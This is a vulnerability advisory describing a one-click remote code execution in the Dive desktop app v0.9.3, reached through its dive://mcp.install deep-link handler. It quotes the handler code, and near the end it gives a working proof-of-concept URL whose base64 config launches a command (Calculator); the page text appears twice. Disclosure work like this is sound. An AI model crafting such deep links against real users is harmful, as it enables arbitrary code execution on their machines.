Summary
We found a one-click remote code execution (RCE) in the latest version (v0.9.3) of Dive triggered from a custom url in the form of dive:.
An attacker can exploit the vulnerability in the following two scenarios:
- A victim visits a malicious website controlled by the attacker and the website redirect to the URL automatically.
- A victim clicks on such a crafted link embedded on a legitimate website (e.g., in user-generated content).
In both cases, the browser invokes Dive's custom URL handler (dive:), which launches the Dive app and processes the crafted URL, leading to arbitrary code execution on the victim’s machine.
This vulnerability is caused by improper processing of custom url.
Details
Dive supports installing mcp servers from config files, which can be embedded in the custom url.
Dive fist processes custom url with code:
|
app.on("open-url", (event, url) => { |
|
deeplinkHandler(win, url) |
|
}) |
The deeplinkHandler processes the url with:
|
export async function deeplinkHandler(win: BrowserWindow|null, url: string) { |
|
const allWindows = BrowserWindow.getAllWindows() |
|
if (!win && allWindows.length) { |
|
win = allWindows[0] |
|
} |
|
|
|
if (win) { |
|
win.show() |
|
win.focus() |
|
} else { |
|
await createWindow().catch(console.error) |
|
} |
|
|
|
switch (getDeepLinkTypeFromUrl(url)) { |
|
case "login": |
|
handleLoginFromDeepLink(url) |
|
break |
|
case "refresh": |
|
win?.webContents.send("refresh") |
|
refreshConfig().catch(console.error) |
|
break |
|
case "mcp.install": |
|
const deeplink = new URL(url) |
|
win?.webContents.send("mcp.install", { |
|
name: deeplink.searchParams.get("name") || "", |
|
config: deeplink.searchParams.get("config") || "", |
|
}) |
|
break |
|
default: |
|
break |
|
} |
|
} |
Inside which, when the url's host equals to "mcp.install", Dive extracts "name" and "config" parameters.
|
case "mcp.install": |
|
const deeplink = new URL(url) |
|
win?.webContents.send("mcp.install", { |
|
name: deeplink.searchParams.get("name") || "", |
|
config: deeplink.searchParams.get("config") || "", |
|
}) |
|
break |
A config is in the form like this:
{
"mcpServers": {
"pwn": {
"transport": "stdio",
"enabled": true,
"command": "python3",
"args": [
"my_script.py"
],
"env": {
"MY_ENV_VAR": "example"
},
"url": null,
"extraData": null,
"proxy": null,
"headers": null,
"exclude_tools": [],
"initialTimeout": 10
}
}
}
When the value of "transport" is "stdio", the command will execute with the args. For example, the above config will lead to execution of python3 my_script.py.
So we can craft a config value as:
{
"transport": "stdio",
"enabled": true,
"command": "open",
"args": [
"-a",
"/System/Applications/Calculator.app"
],
"env": {},
"url": null,
"extraData": null,
"proxy": null,
"headers": null,
"exclude_tools": [],
"initialTimeout": 10
}
The above config will execute open -a /System/Applications/Calculator.app, causing the calculator to pop up.
Finally, if we make the name to be "pwn" and encode the config with base64, we can construct a custom url as working poc.
## Input this url in your browser and confirm opening Dive will lead to the calculator popping up (on Mac).
dive://mcp.install/?name=pwn&config=ewogICAgICAidHJhbnNwb3J0IjogInN0ZGlvIiwKICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAiY29tbWFuZCI6ICJvcGVuIiwKICAgICAgImFyZ3MiOiBbCiAgICAgICAgIi1hIiwKICAgICAgICAiL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAiCiAgICAgIF0sCiAgICAgICJlbnYiOiB7fSwKICAgICAgInVybCI6IG51bGwsCiAgICAgICJleHRyYURhdGEiOiBudWxsLAogICAgICAicHJveHkiOiBudWxsLAogICAgICAiaGVhZGVycyI6IG51bGwsCiAgICAgICJleGNsdWRlX3Rvb2xzIjogW10sCiAgICAgICJpbml0aWFsVGltZW91dCI6IDEwCiAgICB9
PoC

Impact
This vulnerability causes remote code execution on the victim's machine if they have Dive installed. The problem exists in the most up to date Dive (v0.9.3).
Summary
We found a one-click remote code execution (RCE) in the latest version (v0.9.3) of Dive triggered from a custom url in the form of
dive:.An attacker can exploit the vulnerability in the following two scenarios:
In both cases, the browser invokes Dive's custom URL handler (
dive:), which launches the Dive app and processes the crafted URL, leading to arbitrary code execution on the victim’s machine.This vulnerability is caused by improper processing of custom url.
Details
Dive supports installing mcp servers from config files, which can be embedded in the custom url.
Dive fist processes custom url with code:
Dive/electron/main/index.ts
Lines 49 to 51 in 287a8a2
The
deeplinkHandlerprocesses the url with:Dive/electron/main/deeplink.ts
Lines 67 to 98 in 287a8a2
Inside which, when the url's host equals to "mcp.install", Dive extracts "name" and "config" parameters.
Dive/electron/main/deeplink.ts
Lines 88 to 94 in 287a8a2
A config is in the form like this:
{ "mcpServers": { "pwn": { "transport": "stdio", "enabled": true, "command": "python3", "args": [ "my_script.py" ], "env": { "MY_ENV_VAR": "example" }, "url": null, "extraData": null, "proxy": null, "headers": null, "exclude_tools": [], "initialTimeout": 10 } } }When the value of "transport" is "stdio", the command will execute with the args. For example, the above config will lead to execution of
python3 my_script.py.So we can craft a config value as:
{ "transport": "stdio", "enabled": true, "command": "open", "args": [ "-a", "/System/Applications/Calculator.app" ], "env": {}, "url": null, "extraData": null, "proxy": null, "headers": null, "exclude_tools": [], "initialTimeout": 10 }The above config will execute
open -a /System/Applications/Calculator.app, causing the calculator to pop up.Finally, if we make the name to be "pwn" and encode the config with base64, we can construct a custom url as working poc.
PoC
Impact
This vulnerability causes remote code execution on the victim's machine if they have Dive installed. The problem exists in the most up to date Dive (v0.9.3).